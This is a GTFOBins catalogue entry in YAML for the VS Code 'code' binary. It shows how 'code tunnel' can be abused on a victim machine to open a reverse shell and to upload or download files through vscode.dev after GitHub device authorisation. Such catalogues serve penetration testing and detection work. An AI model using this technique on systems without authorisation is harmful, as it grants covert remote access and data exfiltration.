mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-08 06:56:15 +01:00
560c37b5ff
The TTY annotation was missing in the rendered content for plain shell. Moreover now the shell function has TTY defaulting to true, whereas reverse-shell and bind-shell have it defaulting to false.
54 lines
1.9 KiB
Plaintext
54 lines
1.9 KiB
Plaintext
---
|
|
functions:
|
|
download:
|
|
- code: |-
|
|
code tunnel --name xxxxxx
|
|
comment: |-
|
|
This requires a valid GitHub account.
|
|
|
|
Run the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
sender:
|
|
comment: |-
|
|
Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to upload files to the victim box.
|
|
|
|
From the menu, select "File" -> "Open Folder...", right-click on the explorer pane, then select "Upload..." to pick a file to send.
|
|
|
|
Alternatively it's possible to just create and edit files.
|
|
reverse-shell:
|
|
- code: |-
|
|
code tunnel --name xxxxxx
|
|
comment: |-
|
|
This requires a valid GitHub account.
|
|
|
|
Run the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
listener:
|
|
comment: |-
|
|
Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to spawn a system shell on the victim box.
|
|
|
|
From the menu, select "View" -> "Terminal".
|
|
tty: true
|
|
upload:
|
|
- code: |-
|
|
code tunnel --name xxxxxx
|
|
comment: |-
|
|
This requires a valid GitHub account.
|
|
|
|
Run the command locally, then on the attacker box navigate to <https://github.com/login/device>, using the provided code to authorize the tunnel.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
receiver:
|
|
comment: |-
|
|
Navigate to <https://vscode.dev/tunnel/xxxxxx> where a remote VS Code instance can be used to download files from the victim box.
|
|
|
|
From the menu, select "File" -> "Open Folder...", right-click on the explorer pane, then select Download..." to download a file.
|
|
|
|
Alternatively it's possible to just display files.
|
|
...
|